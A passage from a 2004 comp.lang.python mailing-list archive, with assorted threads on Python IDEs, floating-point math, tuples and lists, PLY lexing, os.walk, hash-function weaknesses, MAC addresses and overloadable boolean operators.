select.select([server.fileno(),],[], 								[], 									 
configOptions['tick'])
     if inputs:
         server.handle_request()



From peter at engcorp.com  Tue Sep 21 16:10:47 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Sep 2004 16:10:47 -0400
Subject: python ides
In-Reply-To: <mailman.3678.1095794573.5135.python-list@python.org>
References: <cip735$e01$1@sea.gmane.org>	<mailman.3662.1095789622.5135.python-list@python.org>	<41507c8f$0$25693$636a15ce@news.free.fr>
	<mailman.3678.1095794573.5135.python-list@python.org>
Message-ID: <xr6dnS_HwKRaF83cRVn-hw@powergate.ca>

Adam Victor Nazareth Brandizzi wrote:
> On Tue, 21 Sep 2004 21:03:02 +0200, bruno modulix <onurb at xiludom.gro> wrote:
> 
>>"Proyect" ? Seems like our friend the troll Julio has changed its skin...
> 
> 
> Dubious... It seems to be a hispanic[1] typo...
> 
> [1] Or italic, polish, greek... something like it :)

http://groups.google.ca/groups?q=group:comp.lang.python.*+proyect
shows only 16 matches in all the years the group has been tracked.

Yes, almost all were posts by "hispanic typos" (small pun, sorry),
but two coming in the last couple of days, both by people who
haven't heard of capitalization and are using the same method of
posting, and the same User-Agent, make it rather more than merely
"dubious", I think.  As Dan pointed out, the headers tell us
everything, even if the ranting style doesn't.

Of course, Dan shares his first name with a certain anchorperson who
is busy scraping egg of his face for making assumptions without
good proof, so who knows. ;-)

-this-thread-was-really-about-the-ides-of-python-ly y'rs,
  Peter "Yes, I fixed my From field" Hansen


From rkern at ucsd.edu  Mon Sep 20 23:30:00 2004
From: rkern at ucsd.edu (Robert Kern)
Date: Mon, 20 Sep 2004 20:30:00 -0700
Subject: Floating-point glitches with the math module. Bug? Or am I
 missing something?
In-Reply-To: <10kv5qvr08gjtcd@news.supernews.com>
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net>
	<mailman.3614.1095725042.5135.python-list@python.org>
	<pan.2004.09.21.00.32.24.949382@speakeasy.snip-me.net>
	<10kv5qvr08gjtcd@news.supernews.com>
Message-ID: <cio77o$dv4$1@news1.ucsd.edu>

John Roth wrote:

[snip]

> As Jeff points out, Python is at the mercy of the platform's
> C library - it does not have it's own numerical computation
> library. It simply wraps the C library functions.
> 
> You might want to look at one of the math packages.
> SciPy comes highly recommended, it might do what
> you need.

SciPy does wrap the cephes library which has (presumably better) inverse 
trig functions, but does not, unfortunately, wrap those particular 
functions since Numeric provides them. Numeric just wraps the C library, 
too.

-- 
Robert Kern
rkern at ucsd.edu

"In the fields of hell where the grass grows high
  Are the graves of dreams allowed to die."
   -- Richard Harter


From fuzzyman at gmail.com  Thu Sep  2 17:02:15 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 2 Sep 2004 14:02:15 -0700
Subject: Compiling Extension Modules Under Windows
References: <ch29dr$25h@odah37.prod.google.com>	<1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com>	<mailman.2755.1094103635.5135.python-list@python.org>	<6f402501.0409020340.a307c3@posting.google.com>
	<mailman.2767.1094134185.5135.python-list@python.org>
Message-ID: <6f402501.0409021302.772c271c@posting.google.com>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message news:<mailman.2767.1094134185.5135.python-list at python.org>...
> Michael Foord wrote:
> ...
> 
> >Can someone pelase clarify this for me.
> >Will having this compiler allow python distutils to automagically
> >compile extension modules without complaining it needs MSVC7 *and*
> >without tweaking distutils....  ?? (some hope really !!)
> >  
> >
> There's some minor tweaking of distutils required.  See the instructions 
> here:
> 
>     http://www.vrplumber.com/programming/mstoolkit/
> 
> it's not the most convenient situation in the world, but it's doable for 
> people who are comfortable with a bit of hacking around.
> 
> As of yet I've had precisely no-one confirm (or deny, or even mention 
> trying and failing, for that matter) that they too have been able to use 
> the process to compile a module, but it seems to work fine with the 
> modules I've tested.
> 
> Have fun,
> Mike
> 

Aha... this looks like exactly the answer I was looking for.. and more.

Thanks

Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html

> ________________________________________________
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://www.vrplumber.com
>   http://blog.vrplumber.com


From aurora00 at gmail.com  Thu Sep 16 20:33:50 2004
From: aurora00 at gmail.com (aurora)
Date: Thu, 16 Sep 2004 17:33:50 -0700
Subject: too many self
In-Reply-To: <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com>
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
	<opsed4rmyp6yt6e7@news.cisco.com>
	<4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca>
	<10kjrvs2hmb19a5@corp.supernews.com>
	<1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com>
Message-ID: <10kkc7hq9fuvt20@corp.supernews.com>

Alex Martelli wrote:
> aurora <aurora00 at gmail.com> wrote:
>    ...
> 
>>Of couse I think this syntax the best:
>>
>>   if max < list[index]:
>>      max = list[index]:
> 
> 
> Just to ensure that the best approach,
>     self.max = max(self.max, self.list[index])
> isn't available any more, _and_ you can't use the list built-in name any
> more either?  What a scoop!
> 
> 
> 
>>This remind me of those awful Hungarian notation.
> 
> 
> Explicit scope denotation, and Hungarian notation (which prefixes names
> with type-connected prefix strings), have essentially nothing to do with
> each other, of course.  Making classes implicit scopes (like, say, C++,
> but differently from, say, Modula-3) is simply a horrid mess, where you
> can't use bare names safely without carefully studying all the internals
> of all your ancestor classes... and if any such ancestor ever adds a
> private name it can break every subclass which _did_ use bare names.  A
> bad idea even in a language where the compiler can find out statically
> where every name comes from (because human readers can't), just as bad
> as "from foo import *" in Python or "using namespace foo" in C++ except
> that you can't avoid it by just eschewing one misdesigned construct.
> 
> In a language where even the compiler _cannot_ tell statically which
> bare names come from where (except for functions' locals), criticizing
> the language design choice of _not_ making classes into implcit scopes
> doesn't even _verge_ on the ridiculous -- it plunges right deep into it.
> 
> 
> Alex

I'm not making any serious criticism on the language or how it should do 
name binding. I'm ranting about having to attach a prefix to names often 
make simple things look complicated. An annoyance when it has to be done 
very often. You got the point?


From __peter__ at web.de  Thu Sep 16 03:24:16 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 16 Sep 2004 09:24:16 +0200
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<cia9if$v1$06$1@news.t-online.com> <mO32d.4796$VV2.1807@trndny06>
	<20040915212023.23b6fe0b@gypsy.pfortin.com>
Message-ID: <cibf30$hkk$04$1@news.t-online.com>

Pierre Fortin wrote:

>> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"],
>> > os.stat("%s" % path)))
> 
> What does zip() have to do with this situation...?

It combines the items in the names list with the os.stat() result tuple to a
list of (name, value) pairs that are then used to initialize the
dictionary. For example:

>>> name_value_pairs = zip(["name1", "name2", "nameN"], ["va11", "val2",
"valN"])
>>> name_value_pairs
[('name1', 'va11'), ('name2', 'val2'), ('nameN', 'valN')]
>>> dict(name_value_pairs)
{'nameN': 'valN', 'name2': 'val2', 'name1': 'va11'}


>> Why build the dictionary at all.  Use the named attributes provided by
>> os.stat:
>> 
>>        mode = os.stat(f).st_mode
>> 
>> That should meet the original readability goals.
> 
> That'll teach me to use examples that already have named attributes... :^)
> I'm looking to do this generically -- ignore the few that do have named
> attributes; there are plenty without that I'd like to address...
> 
> The goal is to use the dict in string mapping keys as indicated in my
> original post.

You can still do that while relying on the existing names:

>>> class ObjectAsDictAdapter:
...     def __init__(self, obj):
...             self.obj = obj
...     def __getitem__(self, key):
...             return getattr(self.obj, key)
...
>>> import os
>>> st = os.stat("tmp.py")
>>> "%(st_mtime)s %(st_size)s" % ObjectAsDictAdapter(st)
'1095318348 2'
>>>

You can easily add an analogous 

def __setitem__(self, key, value):
    setattr(self.obj, key, value)

but it won't work in the above example as the stat tuple is immutable.
If you need other attributes (like filename in your original post) you can
solve that with Raymond Hettinger's Chainmap

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/305268

#untested
"%(filename)s %(st_size)s" % Chainmap(ObjectAsDictAdapter(st),
dict(filename=filename))

Peter




From albalmer at att.net  Fri Sep  3 18:14:55 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 03 Sep 2004 15:14:55 -0700
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<usm9zqc4h.fsf@mail.comcast.net>
Message-ID: <enqhj0ls347lcgc4brjvcjqrtnqvsfencd@4ax.com>

On Fri, 03 Sep 2004 15:24:46 -0600, Anne & Lynn Wheeler
<lynn at garlic.com> wrote:

>fist stage: 
>http://en.wikipedia.org/wiki/S-IC 
>
>is 138ft ... about the same length as the assembled shuttle booster
>rocket ... but 33ft in diameter. can you imagine the saturn v first
>stage being built someplace in 40ft sections .... as well as down
>its length 40ft long section down the length ... sort of like a pie
>... say 8ths ... what is the straight line between the end points for
>1/8th arc of a 33ft diamter circle ...

I don't really know what imagination has to do with the question. I
can imagine it being carved into 1277 pieces, but won't offer that as
a meaningful argument.

Here in Arizona, we recently had a transformer delivered. On a 800,000
pound, 280 foot long rig. By highway. No barges involved.

As for the reference to Hatch, that's exactly what the OP was writing
about.

I apologize for not having the time to read and research your comments
properly, so if it seems that I'm just picking on your logic, or lack
thereof, you are correct.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From mauriceling at acm.org  Sun Sep 19 19:18:23 2004
From: mauriceling at acm.org (Maurice LING)
Date: Sun, 19 Sep 2004 23:18:23 GMT
Subject: Using PLY
In-Reply-To: <4b39d922.0409171206.1ed5003d@posting.google.com>
References: <414a6ca1$1@news.unimelb.edu.au>
	<cie5or$ggr$0$216.39.172.122@theriver.com>
	<4b39d922.0409171206.1ed5003d@posting.google.com>
Message-ID: <414e13bc$1@news.unimelb.edu.au>

> 
> Here's a kludgy but quick solution- modify the LexToken class in
> lex.py to keep track of number of type occurences.
> 
> class LexToken(object):  # change to new style class
>     type_count = {}   # store the count here
>     def __setattr__(self, key, value):
>         if key == 'type':
>             # when type attribute is assigned, increment counter
>             if value not in self.type_count:
>                 self.type_count[value] = 1
>             else:
>                 self.type_count[value] += 1
>         object.__setattr__(self, key, value)
> 
>     # ... and proceed with the original definition of LexToken
> 
>     def __str__(self):
>         return "LexToken(%s,%r,%d)" %
> (self.type,self.value,self.lineno)
>     def __repr__(self):
>         return str(self)
>     def skip(self,n):
>         try:
>             self._skipn += n
>         except AttributeError:
>             self._skipn = n
> -----------------------------------------
> 
> After you've run the lexer, lex.LexToken.type_count will the contain
> number of occurences of each token type.
> 
> -----------------------------------------
> 
> (Caveats-  1. I haven't tested this code.   2. I've got PLY 1.3;
> syntax may have changed in newer versions.  In fact, I hope it's
> changed; while PLY works very well, its usage could be way more
> pythonic)

I may be an idiot here but I don't quite see how LexToken.__setattr__ is 
called. There seems to be a gap in my logics.

Please assist.

Thanks
Maurice


From kirk at eyegor.jobsluder.net  Sun Sep 12 23:59:13 2004
From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder)
Date: Mon, 13 Sep 2004 03:59:13 GMT
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<7xacvwn01v.fsf@ruckus.brouhaha.com>
	<slrncka1ar.2a1q.kirk@eyegor.jobsluder.net>
	<7xekl6yjko.fsf@ruckus.brouhaha.com>
Message-ID: <slrncka6na.2ab9.kirk@eyegor.jobsluder.net>

On 2004-09-13, Paul Rubin <> wrote:
> Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes:
>> SHA-1, SHA-256, SHA-384, and SHA-512 are all in the same family so a
>> fundamental break in SHA-1 should make the other three more vulnerable
>> as well.  
>
> SHA-256 is in the "same family" as SHA-1 only in the same sense that
> SHA-1 is in the same family as SHA-0.  You really can't conclude
> anything like what you're saying.

I'm not certain about that.  Ok, I was a bit too hasty in using the word
"should" there.  My research into this strongly suggests that the
addition of additional rotations to SHA-1 makes it enough different from
SHA-0 that it is difficult to generalize from SHA-0 to 1.  However,
SHA-256 and SHA-512 (SHA-384 is a truncated version of 512) are pretty
strongly derived from SHA-1.  In fact, the standard says: 

"The four algorithms differ most significantly in the number of bits of
security that are provided for the data being hashed   this is directly
related to the message digest length."

So, granted I could be completely wrong here, but it looks like it
should be easier to generalize from SHA-1 to SHA-256 and SHA-512, as
well as their truncated versions. 

If I am wrong, an explanation of the differences between the three
beyond the obvious fact that the larger versions shuffle more data
around would be helpful. 


-- 
Kirk Job-Sluder
"The square-jawed homunculi of Tommy Hilfinger ads make every day an
existential holocaust."  --Scary Go Round


From grante at visi.com  Thu Sep  9 18:00:26 2004
From: grante at visi.com (Grant Edwards)
Date: 09 Sep 2004 22:00:26 GMT
Subject: my own type in C, sequence protocol
References: <chq9eg$c2i$1@schleim.qwe.de>
	<donn-D30720.12484009092004@gnus01.u.washington.edu>
	<chqdvo$cgp$1@schleim.qwe.de>
	<4140d133$0$8079$a1866201@newsreader.visi.com>
Message-ID: <4140d27a$0$8079$a1866201@newsreader.visi.com>

On 2004-09-09, Grant Edwards <grante at visi.com> wrote:

>> The type that i implemented is a "CAN message", don't know if
>> this means something to you, it is a communication message
>> with 0 to 8 bytes content.  To access this content i thought
>> there would be an advantage in implementing the sequence
>> protocol.  What is the advantage then?
>
> Good question.  
>
> [I just use lists of integers for my CAN messages.]
>
> If you want to iterate over your object, you probably want to
> support the sequence protocol.

Ignore that. I was conflating the sequence protocol and the
iterator protocol.

-- 
Grant Edwards                   grante             Yow!  VICARIOUSLY
                                  at               experience some reason
                               visi.com            to LIVE!!


From adalke at mindspring.com  Mon Sep 20 02:36:22 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 20 Sep 2004 06:36:22 GMT
Subject: Math errors in python
In-Reply-To: <mailman.3534.1095656825.5135.python-list@python.org>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>	<mailman.3490.1095579571.5135.python-list@python.org>	<70b3d.1822$uz1.747@trndny03>
	<mailman.3534.1095656825.5135.python-list@python.org>
Message-ID: <GTu3d.5381$gG4.3487@newsread1.news.pas.earthlink.net>

Uncle Tim:
> That's absurd.  pi is 3

Personally I've found that pie is usually round, though
if you're talking price I agree -- I can usually get a
slice for about $3, more like $3.14 with tax.  I like
mine apple, with a bit of ice cream.

Strange spelling though.

				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Sat Sep  4 05:00:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:30 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
	<P5GdnUwq-8QI6KrcRVn-qg@powergate.ca>
	<ch7ume$o32$1@panix3.panix.com>
	<9JmdnQkSR7m8e6rcRVn-sA@powergate.ca>
Message-ID: <1gjjzdc.1d6r6trh3x4p7N%aleaxit@yahoo.com>

Peter Hansen <peter at engcorp.com> wrote:
   ...
> Consider, for example, that one actually has to build the
> tuple in the first place... how can you do that without
> having the info in a list to begin with?  (I'm sure there
> are ways if one is ingenious, but I think the answers
> would just go to prove the point I was making.)

tuple(somegenerator(blah)) will work excellently well.  In 2.4, you can
even often code that 'somegenerator' inline as a generator
comprehension.  So this 'having the info in a list' argument sounds just
totally bogus to me.

Say I want to work with some primes and I have a primes generator.
Primes aren't going to change, so a tuple is a natural.  I start with,
e.g.,

ps = tuple(itertools.islice(primes(), 999999))

...and then I'm stumped because I can't index into ps to find, say, the
progressive number of some given prime N by ps.index(N).  How silly,
having to keep ps a list, i.e. mutable (when it intrinsically isn't)
just to be able to index into it!  [I can usefully exploit ps's
sortedness via module bisect... ignoring the latter's specs and docs
that keep screamign LISTS, bisect.bisect DOES work on tuples... but I
wouldn't feel comfy about that surviving, given said docs and
specs...:-)


Alex


From martin at v.loewis.de  Wed Sep  1 14:52:01 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 01 Sep 2004 20:52:01 +0200
Subject: Python 2.3.4 - Is datetime module built automatically
In-Reply-To: <1556046a.0409011004.7822fe39@posting.google.com>
References: <1556046a.0409011004.7822fe39@posting.google.com>
Message-ID: <41361a4f$0$24796$9b622d9e@news.freenet.de>

JimmyT wrote:
> I just configured and installed 2.3.4 and noticed there is no datetime
> module.  I noticed there is a datetimemodule.c file that did not get
> built (ie no object file).  Is there something I need to do to my
> system to make this module?

What operating system is that? The module should have been built and
installed automatically. What commmands did you type, in what order?
Looking at the output of the build, do you see any mention of datetime?

Regards,
Martin


From fee at fee.com  Thu Sep  9 11:51:12 2004
From: fee at fee.com (fee)
Date: Thu, 09 Sep 2004 08:51:12 -0700
Subject: Web app scope question
Message-ID: <9150d.790$JV3.172@hydra.nntpserver.com>

I'm using mod_python to write a web app.  I always load
one file, index.py which generates the skeleton of the page,
while functions and objects from other modules are used to
produce the content based on the current state of the app.

Some of the data, such as a registrants id number, shopping
cart data, current app page/state etc... are needed by almost
every module that provides content for the page.  In my old
PHP app, these were simply global vars, which aside from its
reputation as bad form worked fairly well.

Now, I find myself stuffing all of these things into an object,
and passing it around every where, as an argument to each
function, or as a constructor argument.  The other alternative
that I have considered is to make a 'borg' class, whose
attributes always remain the same across instantiations.

I just wondered about the experience of the list regarding
sets of data that really need to be visible to most of the
modules in the app.

Thanks,

Toby


From peter at engcorp.com  Fri Sep 10 09:00:48 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 09:00:48 -0400
Subject: Electronic voting feasibility
In-Reply-To: <mailman.3140.1094820652.5135.python-list@python.org>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
Message-ID: <45KdncJwAO8dONzcRVn-hA@powergate.ca>

Jaime Wyant wrote (top-posting):
> I think the negativity is well founded.  http://www.blackboxvoting.org/

Doesn't sound like it was a security issue involving choice of
programming language, operating system, or even technical design,
however...

"""This problem appears to demonstrate intent to manipulate elections,
and was installed in the program under the watch of a programmer who is 
a convicted embezzler."""

-Peter


From R.Brodie at rl.ac.uk  Tue Sep 21 06:11:15 2004
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Tue, 21 Sep 2004 11:11:15 +0100
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
Message-ID: <ciov19$4lm$1@blackmamba.itd.rl.ac.uk>


"Grant Edwards" <grante at visi.com> wrote in message
news:414fa1ec$0$63273$a1866201 at newsreader.visi.com...

> Strictly speaking, the only MAC that is "valid" according to
> the IEEE spec is the one the manufacturer put into it. However,
> as long as you pick a MAC address that's not one of the special
> ones (broadcast or multicast addresses), you can probably just
> pick one at random.

Actually, you can legitimately set the 'locally administered address'
bit (the second bit on the wire). Then you have 2^46 addresses
to play with.




From ed at leafe.com  Thu Sep 23 16:59:33 2004
From: ed at leafe.com (Ed Leafe)
Date: Thu, 23 Sep 2004 16:59:33 -0400
Subject: spliting a list by nth items
In-Reply-To: <d11dcfba040923102543d2f7de@mail.gmail.com>
References: <d11dcfba040923102543d2f7de@mail.gmail.com>
Message-ID: <783242B9-0DA3-11D9-8C15-003065B11E84@leafe.com>

On Sep 23, 2004, at 1:25 PM, Steven Bethard wrote:

> So the first list is simple:
>
> nth_items = items[::n]
>
> The second list is what's giving me trouble.  So far, the best I've
> come up with is:
>
> non_nth_items = list(items)
> del non_nth_items[::n]
>
> Is this the right way to do this?

nth_items = items[::n]
non_nth_items = [item for item in items if not in nth_items]

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From zanesdad at bellsouth.net  Wed Sep 29 11:11:48 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 29 Sep 2004 11:11:48 -0400
Subject: how to get files in a directory
In-Reply-To: <415ACCF4.4070506@esi-group.com>
References: <415ACCF4.4070506@esi-group.com>
Message-ID: <415AD0B4.5040603@bellsouth.net>

Anand K Rayudu wrote:

>
> Hi all,
>
> I am trying to find a way to get the files recursively in a given 
> directory,
>
> The following code is failing, can some one please suggest what could 
> be problem here
>
>
> from os import walk,join
>
> for root,dir,files in os.walk("E:\myDir1\MyDir2"):
>   for i in dir:
>       for j in files:
>           fille = root+i+j
>            print file
>
> Surprisingly if i give os.walk("E:\myDir1") the above code works, but 
> not if i have 2 levels of directories.
>
> Thanks & Best Regards,
> Anand
>
>
Would you mind posting the code that works?  First of all, os doesn't 
have a join, so doing an "from os import walk, join" won't work.  
Second, you don't have an "os" namespace in your script.  Third, if your 
import would've worked, you would have wound up with walk and join in 
your toplevel namespace.  Next, you've got "fille = root + i + j" (two 
letters l in fille) then you try to print "file" (with one l).  This 
code works for me:

import os

for root,dir,files in os.walk("r:\svn\qa"):
    for i in dir:
        for j in files:
            file = root + i + j
            print file

Jeremy Jones


From aleaxit at yahoo.com  Tue Sep  7 02:14:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 08:14:06 +0200
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
	<2q4s80Fr7lqtU1@uni-berlin.de>
	<mailman.2953.1094537034.5135.python-list@python.org>
Message-ID: <1gjqh4o.1vx3ihvbruzjfN%aleaxit@yahoo.com>

Andrew Durdin <adurdin at gmail.com> wrote:

> On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing
> <greg at cosc.canterbury.ac.nz> wrote:
> > Alex Martelli wrote:
> > > Problem is, __nonzero__ is currently
> > > typechecked -- it has to return an integer.
> > 
> > Yes, that's the problem. I should probably elaborate
> > on that a bit in the PEP.
> 
> That is not the only issue with __nonzero__ versus __not__ -- in some
> cases (e.g. the symbolic algebra or SQL query constructor) it is
> useful to determine when an explicit "not" operator has been used.

Yes, you're right, and my assertion was flawed.  Typechecking is only
part of the issue.


> I'm not at a machine with the patch installed on it at the moment, but
> I just began to whether this patch would have an effect on expressions
> like (a < b < c) (which are also short-circuiting)...  Come to think
> of it, how do objects which override __gt__ and the other comparisons
> (particularly for expression construction) work in that case?

I believe a < b < c has exactly the semantics of [but with no doube
evaluation of b...]:
    (a < b) and (b < c)

Overriding _lt_ to give a print seems to confirm that:

In [1]: class chatty:
   ...:     def __init__(self, i): self.i = i
   ...:     def __lt__(self, other):
   ...:         print '%d < %d' % (self.i, other.i)
   ...:         return self.i < other.i
   ...:     

In [2]: chatty(3) < chatty(6) < chatty(9)
3 < 6
6 < 9
Out[2]: True

In [3]: chatty(3) < chatty(16) < chatty(9)
3 < 16
16 < 9
Out[3]: False

In [4]: chatty(3) < chatty(1) < chatty(9)
3 < 1
Out[4]: False


Alex


From ismaelherreragasser at hotmail.com  Thu Sep 23 03:25:29 2004
From: ismaelherreragasser at hotmail.com (Ismael Herrera)
Date: Thu, 23 Sep 2004 03:25:29 -0400
Subject: newbie evaluation
References: <3A81C87DC164034AA4E2DDFE11D258E3022F03@exchange.hqamor.amorhq.net>
Message-ID: <cittpu$m8g$1@sea.gmane.org>


> 2. In the block:
> 
>>   def load(self):
>>     
>>     try :
>>       
>>       #open the database file
>>       f = open('/var/lib/dpkg/available','r')
>>       
>>     except : raise IOError
> 
> ...why not just let any exception which open() raises propagate outward?
> There is *very* rarely a need in Python to trap all exceptions with a
> bare "except:" clause. If you just re-raise IOError, there's no point in
> trapping at all.

ups , mistake
 
> 3. (The biggie) Why use a class for dpackagedb instead of a function?
> Below is a complete, minimally-tested version which uses a simple
> state-machine function instead. It makes one pass over the data and is
> probably quite a bit faster than the class-based version. I also dropped
> the regex since we now iterate over each line one by one.

because i want to add more functionality later , with just a function
everything mixes, i had hard time to understand your example :(,thats a
realy big function , isnt it better a bunch of litle functions which are
easier to read and test ?   

> 4. Even if you keep the class-based approach, you don't need the class
> attributes like "PKG = 'Package'" -- they just mess up the namespace and
> don't add any value. Use the actual field names instead.

i am not sure why i put those constants , i think to add flexibility 

> 5. Do you really need all of those attributes (like "arquitecture") to
> be "top-level" for the dpackage objects? I chose to put them in a
> subclass of dict instead. The difference is that you would refer to
> "dpackage().arquitecture" in your scheme and
> "dpackage()['Architecture']" in mine. If you still want the non-English
> terms, re-introduce a dict lookup when the field names are parsed.

but that aproach defeats the purpose of object oriented programing,doesnt
it? i could just put the key-values of any object in a dict instead of
instance attributes, but my class doesnt act as a dict,and i think it
looses flexibility that way 
 
> 7. My version is about half the length of yours (so stop putting blank
> lines between every statement ;). Although a state machine might seem
> more complex, it's actually easier to grasp at once since it all fits on
> a single page of code (on my screen, anyway).

 You love short scripts and functional programing,dont you ? :) well i am
used to think about flexibility and extensibility rather than realy short
scripts ,but i guess thats just diferent styles,but it is realy short.
  
 thanks for your help.  

> -----------
> 
> #!/usr/bin/python
> 
> fieldnames = ['Package', 'Priority', 'Section', 'Installed-Size',
>               'Maintainer', 'Architecture', 'Source', 'Version',
>               'Replaces', 'Depends', 'Conflicts', 'Size',
>               'Description']
> 
> 
> class dpackage(dict):
>     """A package in the Debian 'available packages' database."""
>     
>     def __str__(self):
>         return "\n".join(["%s = %s" % (k, self.get(k))
>                           for k in fieldnames])
> 
> 
> def all_packages():
>     f = open('/var/lib/dpkg/available', 'r')
>     
>     db = []
>     pkg = dpackage()
>     desc = []
>     
>     for line in f:
>         if line != "\n":
>             if line.startswith('Description'):
>                 # Add the line to the description.
>                 # A non-empty 'desc' signals we are in the
>                 # description-gathering state.
>                 desc.append(line)
>             else:
>                 if desc:
>                     desc.append(line)
>                 else:
>                     # Parse the line and add to the current package
>                     k, v = line.split(":", 1)
>                     v = v.strip()
>                     if k in ('Depends', 'Recommends'):
>                         pkg[k] = v.split(",")
>                     else:
>                         pkg[k] = v
>         else:
>             # Finalize the current package and store it
>             if desc:
>                 pkg['Description'] = "".join(desc)
>                 desc = []
>             if pkg:
>                 db.append(pkg)
>                 # Make a new, empty package object
>                 pkg = dpackage()
>     
>     f.close()
>     
>     # Not sure why you drop the last item,
>     # but you must have a reason.
>     db.pop()
>     
>     return db
> 
> 
> if __name__ == '__main__':
>     for x in all_packages():
>         if x:
>             print x
> 
> -----------
> 
> ...and here's the test output:
> 
>>>> d = debpkg.all_packages()
>>>> len(d)
> 10823
>>>> print d[0]
> Package = cl-infix
> Priority = optional
> Section = non-free/devel
> Installed-Size = 64
> Maintainer = Kevin M. Rosenberg <kmr at debian.org>
> Architecture = all
> Source = None
> Version = 19960628.1-2
> Replaces = None
> Depends = ['common-lisp-controller (>= 3.37)']
> Conflicts = None
> Size = 15242
> Description = Description: an infix reader macro for Common Lisp
>  This package provides an infix reader macro for Common Lisp,
>  allowing use of more
>  traditional mathematical syntaxes in Common Lisp programs.
> 
> 
> Hope that helps,
> 
> 
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org




From dperl at rogers.com  Sun Sep 12 22:04:34 2004
From: dperl at rogers.com (Dan Perl)
Date: Mon, 13 Sep 2004 02:04:34 GMT
Subject: Newbie: tuple list confusion.
References: <20040912195529.03437.00000338@mb-m27.aol.com>
Message-ID: <Se71d.650$zi01.634@news04.bloor.is.net.cable.rogers.com>

I would have expected the same results as you, but then, after all, I'm 
still a newbie myself.

But here is how I understand it now.  a=a+b and a+=b are not the same.  The 
first one creates a new list and assigns it back to 'a'.  The second one is 
changing 'a' in-place and is probably equivalent to a.extend(b).

Here is some code to prove that a is changed in-place in the second case:
    a=[1,2,3]
    c=a
    print a,c                  # [1, 2, 3] [1, 2, 3],  a and c are the same 
object
    a.append(4)
    print a,c                  # [1, 2, 3, 4] [1, 2, 3, 4],  I told you so!
    b=[5,6,7]
    a=a+b
    print a,c                  # [1, 2, 3, 4, 5, 6, 7] [1, 2, 3, 4],  a and 
c are not the same object anymore
    a=c
    print a,c                  # [1, 2, 3, 4] [1, 2, 3, 4],  a and c are the 
same object again
    a+=b
    print a,c                  # [1, 2, 3, 4, 5, 6, 7] [1, 2, 3, 4, 5, 6, 
7],  still the same object!
    b=(8,9)                   # let's show it with a tuple too
    a+=b
    print a,c                  # [1, 2, 3, 4, 5, 6, 7, 8, 9] [1, 2, 3, 4, 5, 
6, 7, 8, 9]


Dan


"Q852913745" <q852913745 at aol.com> wrote in message 
news:20040912195529.03437.00000338 at mb-m27.aol.com...
>I am trying to learn python from 'Python programming for the absolute 
>beginner'
> I'm sure I understand the difference between tuples and lists, but while
> experimenting with what I have learned so far, I was suprised that this 
> code
> worked.
>
> # Create list a
> a=["start",878,"item 1",564354,"item 2"]
> print "length of list a =",len(a)
